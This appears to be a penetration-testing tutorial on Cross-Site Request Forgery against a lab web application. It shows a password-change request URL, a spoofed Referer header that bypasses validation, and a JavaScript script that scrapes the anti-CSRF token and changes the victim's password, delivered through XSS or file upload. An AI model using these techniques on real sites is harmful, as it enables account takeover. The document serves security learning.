Cross-Site Request Forgery

Also known as CSRF, exploits the trust a web application has in the user’s browser. Trick a website to perform unwanted actions on a web application where a user is authenticated. This allows to send requests from off the site that the server will consider valid.

We can find a typical example of this vulnerability as follows:

• A site shows information about actions related to specific users, and whose data should remain confidential

#Imagine we fill out a form to change the actual password of an account
#We change the password to $newpass
#We can see that the site processes the request and shows the data related to the action in the URL
http://$url/?password_new=$newpass&password_conf=$newpass&Change=Change

#As the session remains active even when closing the tab of the site, this will allow changes even from off the site

---

• Sometimes, it will not work directly, so we will need to check the source code to see the input conditions

Case 1

Sometimes a validation could be done via request headers

Example source code

...
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
...

In this case, we can modify our petition to assign the corresponding headers and bypass the validation

Modified pettion

...
Referer: http://$UrlOfProperSite/
...

Case 2

Sometimes a validation could be done via a token generated in every page refresh

http://$url/?password_new=$newpass&password_conf=$newpass&token=$token

We can search for this information in the source code of the page to confirm

index.html

...
<input type='hidden' name='user_token' value='5a92a11e5ff6dc8e94ae2d469c615e0d' />
...

We see the token in this case is named user_token. Knowing this, we can try to catch the token generated for the user and resend the petition to be validated. For this purpose, we can use the following script:

CSRF.js

fetch("http://tcmserver:8001/vulnerabilities/csrf/")
  .then((response) => response.text())
  .then((text) => {
    const parser = new DOMParser();
    const htmlDocument = parser.parseFromString(text, "text/html");
    const csrfToken = Array.from(htmlDocument.querySelectorAll("input")).filter(
      (input) => input.name === "user_token"
    )[0].value;
    console.log(csrfToken);
    const newPass = "newpass";
    const url = `http://tcmserver:8001/vulnerabilities/csrf/?password_new=${newPass}&password_conf=${newPass}&Change=Change&user_token=${csrfToken}`;
    fetch(url);
    console.log("Password changed to: " + newPass);
  });

This can be done directly from the browser console, via an XSS vulnerable part, or a file upload vulnerable part

This will catch the token from the HTML of the site, show it to us, and immediately send another petition with this information to properly validate the changes